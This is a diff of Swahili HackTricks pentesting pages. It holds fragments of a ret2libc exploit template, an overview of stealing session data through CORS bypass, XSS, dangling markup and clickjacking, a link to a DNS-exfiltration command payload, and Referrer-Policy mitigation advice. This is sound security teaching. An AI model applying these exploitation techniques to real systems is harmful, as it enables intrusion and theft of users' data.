Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
{% code title="template.py" %}
|
||||
|
|
@ -199,17 +200,17 @@ P.interactive() #Interact with your shell :)
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
# Matatizo ya kawaida
|
||||
# Matatizo ya Kawaida
|
||||
|
||||
## MAIN_PLT = elf.symbols\['main'] haipatikani
|
||||
## MAIN\_PLT = elf.symbols\['main'] haipatikani
|
||||
|
||||
Ikiwa ishara ya "main" haipo. Basi unaweza tu kujua wapi msimbo wa main uko:
|
||||
Ikiwa ishara ya "main" haipo (labda kwa sababu ni faili ya binary iliyokatwa). Basi unaweza tu kujua wapi msimbo wa main uko:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
0000000000401080 <.text>:
|
||||
```
|
||||
na weka anwani kwa mkono:
|
||||
Na weka anwani kwa mkono:
|
||||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
|
|
@ -225,16 +226,17 @@ Jaribu **kutoa 64 bytes kwa anwani ya "/bin/sh"**:
|
|||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,37 +1,39 @@
|
|||
# Kuiba Ufunuo wa Taarifa Nyeti kutoka kwenye Wavuti
|
||||
# Kuiba Ufunuo wa Taarifa Nyeti kutoka kwa Wavuti
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Ikiwa wakati fulani unakutana na **ukurasa wa wavuti unaokupa taarifa nyeti kulingana na kikao chako**: Labda inaonyesha vidakuzi, au inachapisha au maelezo ya kadi za mkopo au taarifa nyeti nyingine yoyote, unaweza kujaribu kuiba.\
|
||||
Hapa nakuonyesha njia kuu unazoweza kujaribu kufanikisha hilo:
|
||||
Ikiwa kwa wakati fulani unakutana na **ukurasa wa wavuti unaokupa taarifa nyeti kulingana na kikao chako**: Labda inarejea vidakuzi, au kuchapisha au maelezo ya kadi ya mkopo au taarifa nyeti nyingine yoyote, unaweza jaribu kuiba.\
|
||||
Hapa nakuletea njia kuu za kujaribu kufanikisha hilo:
|
||||
|
||||
* [**Kupita kizuizi cha CORS**](pentesting-web/cors-bypass.md): Ikiwa unaweza kupita kizuizi cha kichwa cha CORS, utaweza kuiba taarifa kwa kufanya ombi la Ajax kwa ukurasa mbaya.
|
||||
* [**XSS**](pentesting-web/xss-cross-site-scripting/): Ikiwa unapata udhaifu wa XSS kwenye ukurasa, unaweza kutumia udhaifu huo kuiba taarifa.
|
||||
* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Ikiwa huwezi kuingiza vitambulisho vya XSS, bado unaweza kuiba habari kwa kutumia vitambulisho vingine vya kawaida vya HTML.
|
||||
* [**Clickjaking**](pentesting-web/clickjacking.md): Ikiwa hakuna ulinzi dhidi ya shambulio hili, unaweza kuwadanganya watumiaji wakutumie data nyeti (mfano [hapa](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
|
||||
* [**Kupuuza CORS**](pentesting-web/cors-bypass.md): Ikiwa unaweza kupuuza vichwa vya CORS utaweza kuiba taarifa kwa kufanya ombi la Ajax kwa ukurasa wa madhara.
|
||||
* [**XSS**](pentesting-web/xss-cross-site-scripting/): Ikiwa unapata udhaifu wa XSS kwenye ukurasa unaweza kutumia hiyo kuiba taarifa.
|
||||
* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Ikiwa huwezi kuingiza vitambulisho vya XSS bado unaweza kuiba taarifa kwa kutumia vitambulisho vingine vya kawaida vya HTML.
|
||||
* [**Clickjaking**](pentesting-web/clickjacking.md): Ikiwa hakuna ulinzi dhidi ya shambulio hili, unaweza kuwa na uwezo wa kumdanganya mtumiaji kutuma data nyeti kwako (mfano [hapa](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,13 +1,14 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,28 +1,45 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Aunga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Mipango ya Msingi
|
||||
# Mipaka ya Msingi
|
||||
|
||||
* **Orodha Rahisi:** Orodha tu inayojumuisha kuingia kila mstari
|
||||
* **Orodha Rahisi:** Orodha inayojumuisha kuingia kila mstari
|
||||
* **Faili ya Wakati wa Uendeshaji:** Orodha inayosomwa wakati wa uendeshaji (haipakuliwi kumbukani). Kwa kusaidia orodha kubwa.
|
||||
* **Ubunifu wa Kesi:** Tumia mabadiliko fulani kwa orodha ya maneno (Bila mabadiliko, kuwa herufi ndogo, kuwa herufi KUBWA, kuwa Jina la Heshima - Kwanza kwa herufi kubwa na zingine kuwa ndogo-, kuwa Jina la Heshima - Kwanza kwa herufi kubwa na zingine zinabaki vilevile-.
|
||||
* **Namba:** Unda namba kutoka X hadi Y kwa hatua ya Z au kwa nasibu.
|
||||
* **Ubunifu wa Kesi:** Tumia mabadiliko fulani kwa orodha ya maneno (Bila mabadiliko, kubwa, kwa HERU, kwa Jina la Heshima - Kwanza kwa herufi kubwa na zingine kwa herufi ndogo-, kwa Jina la Heshima -Kwanza kwa herufi kubwa na zingine zinabaki sawa-.
|
||||
* **Namba:** Zalisha nambari kutoka X hadi Y kwa hatua ya Z au kwa nasibu.
|
||||
* **Mjenzi wa Nguvu:** Seti ya herufi, urefu wa chini na wa juu.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Mzigo wa kutekeleza amri na kunasa matokeo kupitia maombi ya DNS kwa burpcollab.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Mipaka ya kutekeleza amri na kunasa matokeo kupitia maombi ya DNS kwa burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalamu wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aunga mkono HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,19 @@
|
|||
# Madoa ya Barua pepe
|
||||
# Udhaifu wa Barua pepe
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
|
|
|
|||
|
|
@ -1,29 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Vichwa vya kurejelea na sera
|
||||
# Vichwa vya Rufaa na Sera
|
||||
|
||||
Kichwa cha kurejelea ni kichwa kinachotumiwa na vivinjari kuonyesha ukurasa uliotembelewa awali.
|
||||
Rufaa ni kichwa kinachotumiwa na vivinjari kuonyesha ukurasa uliotembelewa awali.
|
||||
|
||||
## Taarifa nyeti zilizovuja
|
||||
|
||||
Ikiwa wakati fulani ndani ya ukurasa wa wavuti taarifa nyeti yoyote iko kwenye vigezo vya ombi la GET, ikiwa ukurasa una viungo kwenda vyanzo vya nje au mshambuliaji anaweza kufanya/kupendekeza (ujanja wa kijamii) mtumiaji atembelee URL inayodhibitiwa na mshambuliaji. Inaweza kuweza kuchota taarifa nyeti ndani ya ombi la GET la hivi karibuni.
|
||||
Ikiwa wakati fulani ndani ya ukurasa wa wavuti kuna taarifa nyeti iliyopo kwenye vigezo vya ombi la GET, ikiwa ukurasa una viungo kwa vyanzo vya nje au mshambuliaji anaweza kufanya/kupendekeza (ujanja wa kijamii) mtumiaji atembelee URL inayodhibitiwa na mshambuliaji. Inaweza kuweza kuchota taarifa nyeti ndani ya ombi la GET la hivi karibuni.
|
||||
|
||||
## Kupunguza madhara
|
||||
|
||||
Unaweza kufanya kivinjari kufuata **sera ya Kichwa cha Kurejelea** ambayo inaweza **kuzuia** taarifa nyeti kutumwa kwa programu zingine za wavuti:
|
||||
Unaweza kufanya kivinjari kifuatilie **Sera ya Rufaa** ambayo inaweza **kuzuia** taarifa nyeti kutumwa kwa programu zingine za wavuti:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
|
|
